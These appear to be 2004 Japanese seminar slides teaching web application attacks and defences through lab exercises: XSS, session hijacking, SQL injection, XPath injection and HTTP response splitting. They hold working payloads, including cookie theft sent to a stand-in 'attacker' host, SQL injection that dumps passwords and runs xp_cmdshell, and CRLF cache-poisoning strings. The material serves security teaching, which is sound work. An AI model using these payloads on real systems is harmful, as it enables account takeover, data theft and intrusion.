「情報漏洩対策」実践セミナー

Webサイトからの情報漏洩− 手口の実際と対策 −2004年12月7日

中央大学 研究開発機構 専任研究員
塩月誠人<shio@st.rim.or.jp>

はじめに
p

本セッションは、Webアプリケーションの不具合に起因して発生するセキュリティ問題のうち、クロスサイト・スクリプティング、セッション・ハイジャック、SQLインジェクション、XPathインジェクション、HTTPレスポンス・スプリッティングの5つに焦点を絞って、ハンズオンあるいはデモを交えながら解説するものです。

p

ここで述べる対策はあくまでも一般論であり、すべてのケースにおいて必ずしも有効であるとは限りません。資料の最後に参考となる各種URLを載せましたので、併せてご参照ください。

p

本セッションでは、各セキュリティ問題の脅威を具体的に理解していただくことを目的として、攻撃手法の詳細や関連する攻撃ツールを提供しています。これらの手法やツールを用いて許可なく他者の情報システムに対して攻撃を行うことは、「不正アクセス行為の禁止等に関する法律」等に違反する行為となります。
2

目次
p クロスサイト・スクリプティング
p セッション・ハイジャック
p SQLインジェクション
p XPathインジェクション
p HTTPレスポンス・スプリッティング3クロスサイト・スクリプティング
p Cross-Site Scripting : XSS
p 攻撃者が記述したスクリプトをWebサイトからエコーバックさせ、ユーザのブラウザ上で実行させる攻撃
Ø ブラウザからの入力をそのままエコーバックするような場合に発生
p Webアプリケーショ
ン（CGI等）の不具合
p Webサービス（IIS、Apache等）の不具合

Ø JavaScript/VBscript等、ブラウザがサポートするスクリプトの実行
Ø ブラウザとWebサイトの信頼関係を利用した攻撃p そのWebサイトにおいて実行可能なスクリプトが実行（IEのセキュリティゾーン）p そのWebサイトとの間で交信されるCookieを取得 → セッショ
ンIDの盗用p Webサイトとの間のCookieを改変 → セッション・
フィクセイション攻撃4

クロスサイト・スクリプティング【ハンズオン】
p http://server/xss/greeting.aspにアクセス

5

クロスサイト・スクリプティング【ハンズオン】
p 入力エリアに「<h1>aaa</h1>」と入れると...

p <h1>...</h1>：
見出し（heading）タグの一種
p ブラウザがh1タグを理解して「aaa」を大きく表示している
6クロスサイト・スクリプティング【ハンズオン】
p 「<script>alert("aaa")</script>」と入れると...

p <script>...</script>：
スクリプト・タグ。この間にスクリプト（JavaScript等）を記述
p alert(...)：
カッコ内をダイアログに表示するスクリプト
p ブラウザがscriptタグを理解して「aaa」をダイアログ表示7クロスサイト・スクリプティング【ハンズオン】
p 「<script>alert(document.cookie)</script>」と入れると...

p document.cookie：
スクリプトの中でCookieを表す
p ブラウザがscriptタグを理解してCookieをダイアログ表示8クロスサイト・スクリプティング【ハンズオン】
p XSSによるCookieの取得
p IEでhttp://attacker/にアクセスすることにより、サーバとの間のCookieが漏洩
Attacker

ServerCookiexssgetcookie.pl

Cookie⑥ CookieがAttackerへ送信

xss-reply.pl<iframesrc="http://server/xss/greeting.asp?name=<script>location.hr
ef='http://attacker:81/'+document.cookie</script>"></ifra
me>

スクリプト
① Attackerへアクセス② Serverへ自動的にアクセスするようなコンテンツを返す

ユーザ④ スクリプトがエコーバック

Cookie③ Serverへ自動的にアクセス⑤スクリプト実行

9クロスサイト・スクリプティング

HTML出力の無害化
p ユーザ入力文字列を使用時（HTML出力時）に無害化する
Ø 最低限、無害化すべき文字
p <
p >
p &
p "
p '

→ &lt;→ &gt;→ &amp;→ &quot;→ &#39;

Ø 場合によっては無害化が必要な文字
p ();
p +

... スクリプトタグの中に入る可能性がある場合... UTF-7エンコーディングを使用する場合

Ø 出力文字列から削除するか、上記のように変換して出力p http://server/xss2/greeting.asp（XSS対策版）
10

セッション・ハイジャック
p 他人のWebアクセスセッションを横取りすることにより、その人のアカウントでWebアプリケーションにアクセスすること
p Webアプリケーションにおけるセッション管理の不備に起因Ø セッションIDの推測
p 連番、ユーザ情報に基づいて生成、単純なアルゴリズム、少ない文字数

Ø セッションIDの漏洩
p クロスサイト・スクリプティングの利用
p クライアントマシン（特にWebブラウザ）の脆弱性の利用
p ネットワーク盗聴Ø セッションIDの強要（セッション・フィクセイション）
p XSSによるCookieの書き換え、URLのクエリストリングに設定

Ø セッションIDの不正利用
p セッション・タイムアウトの不備
p クライアントとのセッションIDの関連付けの欠如
11

セッション・ハイジャック

Webのセッション管理とはユーザ① リクエスト（ログオン要求）

サーバ② 返答（ログオン許可）③ リクエスト（ページアクセス）④ 返答（コンテンツ）

セッション管理の導入

ユーザセッションID① リクエスト（ログオン要求）② 返答（ログオン許可） セッションID

一連のアクセスであっても、HTTPプロトコル的には別々（TCPセッションも基本的に別）サーバ
セッションID③ リクエスト（ページアクセス）
セッションID④ 返答（コンテンツ）

セッション管理の導入により、一連のアクセスを識別
12

セッション・ハイジャック

セッションID推測の例
攻撃者
SID:1234
SID:1235

サーバ① リクエスト（ログオン要求）② 返答（ログオン許可）SID:1234⑥ リクエスト（ページアクセス）⑦ 返答（コンテンツ）

SID:1235

SID:1234
SID:1235⑤ 次のセッション
IDを推測

ユーザ
SID:1235

求）
要オン
235
グ
1ロ:
（SIDスト）
エ
可
ク
ン許
③リ
オ
（ログ答
④返

13

セッション・ハイジャック

IISが提供するセッション管理機能
p ASPコンテンツにアクセスした際に、ランダムなセッションIDをCookieにセット

Ø 例）ASPSESSIONIDCAQRDBCS=IPHPPHBCNCNACKEPJAIBJJDIØ

path属性は常に「/」、デフォルトではsecure属性がつかないØ ブラウザ終了時にCookieは破棄（Non-Persistent）
Ø 一定時間後にIIS側で期限切れ、再発行

p このセッションIDに関連付けられたセッションが自動生成
Ø セッションに値を格納するとセッションが開始p 例）Session("auth") = trueØ Session.Abandonを呼ぶことでセッション終了
Ø デフォルトでは20分でタイムアウト（Session.Timeoutで変更可能）

p セッションIDの推測は（たぶん）極めて困難
p セッションIDの漏洩によるセッション・ハイジャックは???
14

セッション・ハイジャック【デモ】
p XSSを利用してCookieの中にあるセッションIDを取得し、ユーザのセッションをハイジャックする
p http://server/db/login.asp ... データベースアクセスを伴う、単純なWebアプリケーション
login.asp
menu.asp
ユーザID

パスワード

Stevenhehehe

Annehahaha

Janethohoho

process1.asp
process2.asp
logout.asp
15

セッション・ハイジャック【デモ】③セッション
ハイジャック③ 取得したセッションIDでmenu.aspページにアクセス

AttackerセッションID

Server②セッション生成

セッションID
xssgetcookie.pl② ServerのWebアプ
リケーションにログイン

xss-reply2.pl① XSSによりCookie中のセッションIDがAttackerへ渡る

セッションID

ユーザ①スクリプト実行

16

セッション・ハイジャック

セッション・フィクセイション
p Session Fixation
p ユーザのセッションIDを既知のもので「fix」させる攻撃
Ø Webシステムがユーザ指定のセッションIDを受け入れる場合、あるいはユーザ認証前にセッションIDを発行する場合に発生
Ø ユーザのブラウザに既知のセッションIDを使用させる
p URLのクエリストリングに設定
p XSSによりCookieに設定

Ø ユーザがWebサイトにアクセスする際、そのセッションIDが使用される
Ø ユーザ認証後、攻撃者はそのセッションIDでWebサイトへアクセス

17

セッション・ハイジャック

セッション・フィクセイションの例
サーバ

攻撃者① ログオン要求
SID:1234② セッションID発行

SID:1234⑦ SID：1234でサーバにアクセス
SID:1234③ セッションID：1234でサーバにログオンするようなリンクを送り、ログオンを仕向ける（HTMLメール等）

SID:1234

4123:DSI④ SID：1234でサーバにログオン要求⑤ ユーザIDとパスワードを送信

SID:1234⑥ SID：1234でセッションが確立

ユーザ
18

セッション・ハイジャック【デモ】
p XSSを利用してユーザ・ブラウザのCookie中に既知のセッションIDを設定し、ユーザのセッションをハイジャック

Attacker⑤ 既知のセッションIDでmenu.aspページにアクセス⑤セッション
ハイジャックServer④セッション生成① Serverにアクセスして...
セッションID

セッションID② セッションIDの発行を受ける④ ServerのWebアプ
リケーションにログイン

xss-setcookie.pl③ XSSによりユーザ/Server間のCookieにセッションIDを埋め込む

セッションID

ユーザ③スクリプト実行
19

セッション・ハイジャック

セッションIDの不正使用を防ぐ
p ユーザ認証後にセッション固有のランダム文字列を生成、クライアント・ブラウザに渡し、セッションIDと併用する
Ø IISのセッションID → セッション管理
Ø Webアプリケーションが生成するランダム文字列 → クライアント認証

p セッションIDの盗用や強要があっても、ランダム文字列を知られない限りセッション・ハイジャックはできないØ Cookieに入れるか、Hiddenフィールドを使うか?
Ø 認証後にXSS等で盗まれる可能性も考慮

p これは一例。重要なのは、Webサービス（IIS等）が提供するセッション管理の仕組みをよく理解して、どのような問題があるかを知ること
p http://server/db2/login.asp（セッション・ハイジャック対策版）
20

SQLインジェクション
p 不正な入力により、Webアプリケーションに不正なSQLクエリーを発行させる攻撃
Ø ユーザの入力に基づき、データベースサーバに対してクエリーを発行するようなWebシステムで発生
Ø SQL：
Structured Query Language ... DBアクセス標準言語p 例）SELECT Username FROM Users WHERE Username = 'X'

AND Password = 'Y'... Usersテーブルより、「UsernameがXで、かつ、PasswordがY」という条件を満たすレコードを検索し、Username項目値を返す

Ø このSQL文のXやYにユーザ入力文字列が直接入ることにより、SQL文の振る舞いが変わってしまう
Ø SQLインジェクションにより...
p ユーザ認証等のロジックの回避
p データベースのデータの不正取得、不正更新、削除、...
p 不正なコマンドの実行
21

SQLインジェクション

ユーザ認証処理の通過
p http://server/db2/menu.asp
SELECT * FROM Passwords WHERE Name = '"& Request.Form("uid") & "' AND Password= '" & Request.Form("pass") & "'login.asp

menu.asp

ユーザ名とパスワードでデータベースを検索し、結果が返れば認証通過

process1.asp
process2.asp
logout.asp

Passwords
NamePassword

Stevenhehehe

Annehahaha

Janethohoho

22

SQLインジェクション

ユーザ認証処理の通過（つづき）
p このSQL文のパスワードの部分に、「' or 'a'='a」が入力されるとどうなるか?
Ø ユーザID「aaa」、パスワード「' or 'a'='a」を入力
Ø SELECT * FROM Passwords WHERE Name = '" &Request.Form("uid") & "' AND Password = '" &Request.Form("pass") & "'↓
Ø SELECT * FROM Passwords WHERE Name = 'aaa' AND
Password = '' or 'a'='a'↓Ø 条件式は常に「真」となり、このSELECT文によってすべてのレコードが返る ... つまり認証を通過

23

SQLインジェクション

【ハンズオン】
p http://server/db2/login.aspにアクセス
p ユーザID「aaa」、パスワード「' or 'a'='a」を入力すると...

24

SQLインジェクション

UNIONによるデータの不正取得
p UNION ... 複数のクエリ結果を一つに結合するSQL演算子
テーブル：A社の名簿
氏名テーブル：B社の名簿

電話番号

住所

年齢

山田

1111

...

...

田中

2345

...

佐藤5555

...

氏名

電話番号

住所

年齢

松井

8888

...

...

...

鈴木

8765

...

...

...

野茂3333...

...

SELECT 氏名, 電話番号 FROM A社の名簿
UNION
SELECT 氏名, 電話番号 FROM B社の名簿

山田

1111

田中

2345

佐藤5555

松井8888鈴木8765

野茂333325

SQLインジェクション

UNIONによるデータの不正取得（つづき）
p http://server/db2/process2.asp
login.asp

SELECT LastName, FirstName, Title, Address
FROM Employees WHERE FirstName LIKE '%" & Request.Form("search") & "%'menu.asp
process1.asp
process2.asp

名前でデータベースを検索

logout.asp

Employees
LastNameFirstNameTitle

Address

Buchanan

Steven...

...

Dodsworth

Anne

...

...

Leverling

Janet...

...
26

SQLインジェクション

UNIONによるデータの不正取得（つづき）
p このSQL文の検索文字列の部分に、「xxxx' union select

name, id, xtype, parent_obj from sysobjects wherename like '」が入力されるとどうなるか?
Ø SELECT LastName, FirstName, Title, Address FROM

Employees WHERE FirstName LIKE '%" &Request.Form("search") & "%'↓Ø SELECT LastName, FirstName, Title, Address FROM
Employees WHERE FirstName LIKE '%xxxx' union select
name, id, xtype, parent_obj from sysobjects wherename like '%'↓Ø Employeesテーブルとsysobjectsテーブルの検索結果を結合している ... つまりsysobjectsテーブル（DB内のオブジェクトを管理）の内容が表示
27

SQLインジェクション

【ハンズオン】
p http://server/db2/login.aspにアクセスして、適当なユーザIDでログイン（例：Steven / hehehe）
p 検索文字列に「xxxx' union select name, id, xtype,parent_obj from sysobjects where name like '」を入れると...

28

SQLインジェクション

【ハンズオン】
p sysobjectsテーブルを見ることにより、DB中に存在するテーブルやビュー、ストアド・プロシジャ等を知ることができる
Ø xtype ... U:ユーザテーブル、S:システムテーブル、V:ビュー、...

p PasswordsテーブルのIDを調べ、以下の文字列で検索
Ø xxxx' union select name, id, 'a', 'a' from syscolumns where

id = PasswordsテーブルのID and name like '29

SQLインジェクション

【ハンズオン】
p Passwordsテーブルには「Name」と「Password」の二項目があることがわかる
p 以下の文字列でPasswordsテーブルを検索することにより、ユーザIDとパスワードの情報を取得
Ø xxxx' union select name, password, 'a', 'a' from passwords

where name like '30

SQLインジェクション

ストアド・プロシジャによるコマンド実行
p Stored procedure ... 共通的な、あるいはよく使用する処理モジュールをデータベース側に保存しておき、アプリケーションから呼び出して使う
Ø 処理効率の向上
Ø ネットワークトラフィックの削減
Ø プログラミング効率の向上

p MS SQL Serverは数多くのストアド・プロシジャを標準で用意
p SQLインジェクションにより、それらを実行する事が可能
Ø Webアプリケーションがデータベースにアクセスする際のユーザ権限に依存
p よく攻撃に使われるMS SQL Serverのストアド・プロシジャØ xp_cmdshell ... OSのコマンドを実行Ø sp_makewebtask ... クエリ実行結果をHTMLファイルに出力
31

SQLインジェクション

xp_cmdshellとsp_makewebtask
p xp_cmdshellØ 指定された文字列をOSのコマンドとして実行
Ø 構文：xp_cmdshell {'command_string'} [, no_output]
Ø 例：exec master..xp_cmdshell 'dir *.exe'

p sp_makewebtask
Ø 指定されたクエリを実行し、その結果をHTMLファイルに出力
Ø 構文：sp_makewebtask [@outputfile =] 'outputfile',[@query =] 'query' [, .....]
Ø 例：exec sp_makewebtask 'c:¥inetpub¥wwwroot¥out.html','select * from passwords'
Ø 例：exec sp_makewebtask 'c:¥inetpub¥wwwroot¥out.html',"exec master..xp_cmdshell 'dir *.exe'"
32

SQLインジェクション

【ハンズオン】
p SQLインジェクションにより、xp_cmdshellを用いてserver上でpingコマンドを実行（ping IPアドレス）
p 自分のPC上にてwindump/tcpdump等で確認Ø windump -n host IPアドレス and icmp

Ø windump等がない場合は、
http://server/icmpsniff.exeを取得
p icmpsniff

ローカルIPアドレス IPアドレス

p http://server/db2/login.aspにアクセスし、以下を入力
Ø ユーザID：aaa
Ø パスワード：xxx'; exec master..xp_cmdshell 'ping IPアドレス↓Ø SELECT * FROM Passwords WHERE Name = 'aaa' AND
Password = 'xxx' ; exec master..xp_cmdshell 'ping IP
アドレス'
SQL文の区切り文字。複数のSQL文を続けて実行

33

SQLインジェクション

【ハンズオン】
p ユーザIDの文字列でSQLインジェクションするには...
Ø ユーザID：xxx'; exec master..xp_cmdshell 'ping IPアドレス';-Ø パスワード：xxx↓
Ø SELECT * FROM Passwords WHERE Name = 'xxx' ; exec
master..xp_cmdshell 'ping IPアドレス'; -- ' AND
Password = 'xxx'
SQL文のコメント指定。これ以降はSQL文内でコメントとして取り扱われる

34

SQLインジェクション

【ハンズオン】
p SQLインジェクションにより、sp_makewebtaskを用いてserver上でのコマンド実行結果をHTMLファイルに出力p http://server/db2/login.aspにアクセスし、以下を入力
Ø ユーザID：aaa
Ø パスワード：xxx'; exec sp_makewebtask'c:¥inetpub¥wwwroot¥ファイル名.html', "execmaster..xp_cmdshell 'dir *.exe'" ; -↓Ø SELECT * FROM Passwords WHERE Name = 'aaa' AND
Password = 'xxx'; exec sp_makewebtask'c:¥inetpub¥wwwroot¥ファイル名.html', "execmaster..xp_cmdshell 'dir *.exe'" ; --'p http://server/ファイル名.htmlにアクセスして確認
35

SQLインジェクション

SQL文に渡す文字列の無害化
p ユーザ入力文字列を使用時（SQL文挿入時）に無害化する
Ø 最低限、無害化すべき文字
p '→ ''（シングルクォート一つ → シングルクォート二つ）

Ø 文字列から削除するか、上記のように変換してSQL文に挿入
Ø 無害化すべき特殊文字はDBMSや使い方に依存Ø 数値項目の場合は、数字以外を入力させない

p 重要なのは、DBMSのSQL構文をよく理解して、どの場合にどのようなエスケープ処理をするべきかを知ること
p 準備済みSQL文（prepared statements）を使用するのも一
つの手
p DBMSのエラーメッセージを返さない（手がかりを与えない）
p http://server/db3/login.asp（SQLインジェクション対策版）
36

XPathインジェクション
p 不正な入力により、Webアプリケーションに不正なXPathクエリーを発行させる攻撃
Ø ユーザの入力に基づき、XMLドキュメントに対してXPathクエリーを発行するようなWebシステムで発生
Ø XPath：XML Path Language ... XMLドキュメントをアドレッシングするための標準言語p 例）/UserList/User[Name='X' and Password='Y']... /UserList/Userノードで、「NameがXで、かつ、PasswordがY」という条件を満たすものを指し示す
Ø このXPathクエリのXやYにユーザ入力文字列が直接入ることにより、アドレッシングの振る舞いが変わってしまうØ XPathインジェクションにより...
p ユーザ認証等のロジックの回避
p XMLドキュメント
内容の不正取得

37

XPathインジェクション

ユーザ認証処理の通過
p http://server/xpath/auth.asp
auth.asp
ユーザ名とパスワードでXMLドキュメントを検索し、結果が返れば認証通過/UserList/User[Name='" &Request.Querystring("uid") & "'and Password='" &Request.Querystring("pass") & "']userlist.xml<?xml version="1.0" encoding="ISO-8859-1"?><UserList><User><Name>Steven</Name><Password>hehehe</Password><Title>Sales Manager</Title><Address>14 Garrett Hill</Address></User><User><Name>Anne</Name><Password>hahaha</Password><Title>Sales Representative</Title><Address>7 Houndstooth Rd.</Address></User><User><Name>Janet</Name><Password>hohoho</Password><Title>Sales Representative</Title><Address>722 Moss Bay Blvd.</Address></User></UserList>
38

XPathインジェクション

ユーザ認証処理の通過（つづき）
p このXPathクエリのパスワードの部分に、「' or 'a'='a」が入力されるとどうなるか?
Ø ユーザID「aaa」、パスワード「' or 'a'='a」
を入力
Ø /UserList/User[Name='" & Request.Querystring("uid")& "' and Password='" & Request.Querystring("pass")& "']↓Ø /UserList/User[Name='aaa' and Password='' or 'a'='a']↓Ø 条件式は常に「真」となり、このクエリによってすべてのUserノードの情報が返る ... つまり認証を通過

39

XPathインジェクション

【ハンズオン】
p http://server/xpath/auth.aspにアクセス
p ユーザID「aaa」、パスワード「' or 'a'='a」を入力すると...

40

XPathインジェクション

XPathクエリに渡す文字列の無害化
p ユーザ入力文字列を使用時（XPath挿入時）に無害化する
Ø 最低限、無害化すべき文字
p '→ ¥'

Ø 文字列から削除するか、上記のように変換してXPathに挿入
Ø 場合によっては「"（ダブルクォート）」も無害化が必要（?）

p http://server/xpath2/auth.asp（XPathインジェクション対策版）

41

HTTPレスポンス・スプリッティング
p HTTP Response Splitting
p 不正な入力により、サーバのHTTPレスポンスを二つに分割させることで、プロキシやブラウザに対してセキュリティ侵害を起こさせる攻撃
Ø ブラウザからの入力に基づいてリダイレクトのLocationヘッダを構築するようなWebシステムで発生
Ø ブラウザやプロキシに偽のコンテンツを送り込み、キャッシュを汚染→ コンテンツ・スプーフィング
Ø ブラウザに対するクロスサイト・スクリプティング攻撃→ Cookieの取得、改変

42

HTTPレスポンス・スプリッティング

レスポンス・スプリッティングとは
ユーザ

GET /redir_lang.asp?lang=english

ServerHTTP/1.1 302 Object moved
Location: english.html
GET /english.html

ユーザ

GET /redir_lang.asp?lang=%0d%0a%0d%0aHTTP/1.1%20200%20ok%0d%0a<html>poisoned</html>

ServerHTTP/1.1 302 Object moved
Location: =一つ目のレスポンス
二つ目のレスポンス

HTTP/1.1 200 ok<html>poisoned</html>.html
43

HTTPレスポンス・スプリッティング

二対のリクエストとレスポンス
一つ目のリクエスト二つ目のリクエスト
ユーザ

GET /redir_lang.asp?lang=%0d%0a%0d%0aHTTP/1.1%20200%20ok%0d%0a<html>poisoned</html>

Server

GET /index.html
HTTP/1.1 302 Object moved
Location: =一つ目のレスポンス
二つ目のレスポンス

HTTP/1.1 200 ok<html>poisoned</html>.html
同じTCPセッションでなければならない!!
index.htmlのコンテンツ → <html>poisoned</html>
44

HTTPレスポンス・スプリッティング

Webアクセス・キャッシュの汚染
Attacker
GET/lang redir_la=%0 %0d ng.asp?
aHT%
TP/ 0a%01.1
GET... d/index.html

GET /redir_lang.asp?
lang=%0d%0a%0d%0aHTTP/1.1...

ProxyServer

GET /index.html
HTTP/1.1 302
Location: =ユーザ

HTTP/1.1 200 ok<html>poisoned...

lhtm.
xe
ind/ok ..
T0E.
0G
1 2 soned.
1
TP/ poi
HT tml><hindex.html
偽コンテンツ表示キャッシュの汚染<html>poisoned...

Proxyのキャッシュ45

HTTPレスポンス・スプリッティング【デモ】
p 脆弱なWebアプリケーション：
http://server/rs/lang.html

p Apacheプロキシのキャッシュを汚染し、そのプロキシのユーザに偽コンテンツを表示させる
Ø rs-apache.pl46

HTTPレスポンス・スプリッティング【ハンズオン】
p レスポンス・スプリッティングによるブラウザ・キャッシュの汚染
p IEでhttp://attacker/にアクセスすることにより、ブラウザ・キャッシュに偽コンテンツが入る
ServerAttacker
rs-iepoison.pl① Attackerへ
アクセス<frame src="
GET /redir_lang.asp?
lang=%0d%0a%0d%0aHTTP/1.1...><frame src="
GET /index.html>② Serverへ自動的にアクセスするようなコンテンツを返す④ レスポンス・
スプリッティング
③ Serverへ自動的にアクセス

ユーザ⑤キャッシュ
が汚染
index.html<html>poisoned...

ブラウザのキャッシュ47

HTTPレスポンス・スプリッティング【ハンズオン】
p レスポンス・
スプリッティングによるXSS
p 二つ目のレスポンスにスクリプトを混入

ユーザ

GET /redir_lang.asp?lang=%0d%0a%0d%0aHTTP/1.1%20200%20ok%0d%0a<html><script>alert(document.cookie)</script></html>

ServerHTTP/1.1 302 Object moved
Location: =一つ目のレスポンス
二つ目のレスポンス

HTTP/1.1 200 ok<html><script>alert(document.cookie)</script></html>.html

p IEでhttp://attacker/にアクセスすることにより、サーバとの間のCookieが漏洩（rs-iexss.pl, xss-getcookie.pl）48

HTTPレスポンス・スプリッティング

HTTPヘッダ出力文字列の無害化
p HTTPヘッダとして出力する箇所に「%0d%0a」すなわちCR/LFを入れないようにする
p ユーザ入力文字列を使用時（HTTPヘッダ挿入時）に無害化
Ø Locationヘッダ → レスポンス・スプリッティングØ Set-Cookieヘッダ → クロスサイト・スクリプティングØ 最低限、無害化すべき文字
p 「%0d%0a」すなわちCR/LF

Ø 文字列から削除することが望ましい
Ø 適切な文字以外はすべて削除する ... ホワイトリスト方式

p http://server/rs2/lang.html（HTTPレスポンス・スプリッティング対策版）
49

まとめ
p ユーザ入力をすべて疑い、正当性をチェックするØ クエリストリング、フォーム入力項目、hidden項目、Cookie、HTTPヘッダ、...

p データ使用時に、目的に応じて無害化する
Ø HTML出力、SQL文、XPathクエリ、LDAPクエリ、 HTTPヘッダ、system関数、open関数、...
Ø データベースのデータ等、他システムからのデータも要注意
p アクセス権限は必要最低限とする

Ø DBアクセス権限、ファイルアクセス権限、プログラム実行権限、...

p 使用する製品や技術の仕様・特性を深く理解するØ Webサーバ、プロキシ、ブラウザ、DBMS、SQL、XPath、HTML、HTTP、プログラミング言語、...

p 本番稼動前にセキュリティテストを実施する
50

参考
p

WASC Web Security Threat Classification
http://www.webappsec.org/threat.html

pOWASP Guide to Building Secure Web Applications
http://www.owasp.org/documentation/guide/guide_about.html

p

OWASP Top Ten Most Critical Web Application Vulnerabilities
http://www.owasp.org/documentation/topten.html

pCross-site Scripting Overview
http://www.microsoft.com/technet/security/news/csoverv.mspxp

Web Application Security
http://www.patrice.ch/en/computer/web/articles/2002/web_security.pdfp@IT: クロスサイトスクリプティング対策の基本
http://www.atmarkit.co.jp/fsecurity/special/30xss/xss01.html

p

セキュアWebプログラミング ASP編 Part 1
http://www.trusnet.com/secinfo/docs/webprog1/index.html
51

参考（つづき）
p

セキュアWebプログラミング ASP編 Part 2
http://www.trusnet.com/secinfo/docs/webprog2/index.html

p

IPA ISEC セキュア・プログラミング講座
http://www.ipa.go.jp/security/awareness/vendor/programming/p

クロスサイトスクリプティング攻撃に対する電子商取引サイトの脆弱さの実体とその対策
http://securit.gtrc.aist.go.jp/research/paper/css2001-takagi-dist.pdfp

安全なWebアプリ開発 31箇条の鉄則
http://java-house.jp/~takagi/paper/iw2002-jnsa-takagi-dist.pdf

pUnderstanding Malicious Content Mitigation for Web Developers
http://www.cert.org/tech_tips/malicious_code_mitigation.html

pMicrosoft Windows 2000 Server ドキュメント: セッションを管理する
http://windows.microsoft.com/windows2000/ja/server/iis/htm/asp/iiapsess.htmp

IIS では Cookie が SSL-Secure としてマークされない
http://support.microsoft.com/default.aspx?scid=kb;ja;274149
52

参考（つづき）
p@IT: Webアプリケーションに潜むセキュリティホール
http://www.atmarkit.co.jp/fsecurity/rensai/webhole01/webhole01.htmlp

SQL Injection - Are Your Web Applications Vulnerable?
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf

pxp_cmdshell
http://www.microsoft.com/japan/msdn/library/ja/tsqlref/ts_xp_aasz_4jxo.asppsp_makewebtask
http://www.microsoft.com/japan/msdn/library/ja/tsqlref/ts_sp_mamz_2p0r.asppBlind XPath Injection
http://www.sanctuminc.com/pdfc/WhitePaper_Blind_XPath_Injection_20040
518.pdfp"Divide and Conquer" - HTTP Response Splitting, Web Cache Poisoning
Attacks, and Related Topics
http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf
53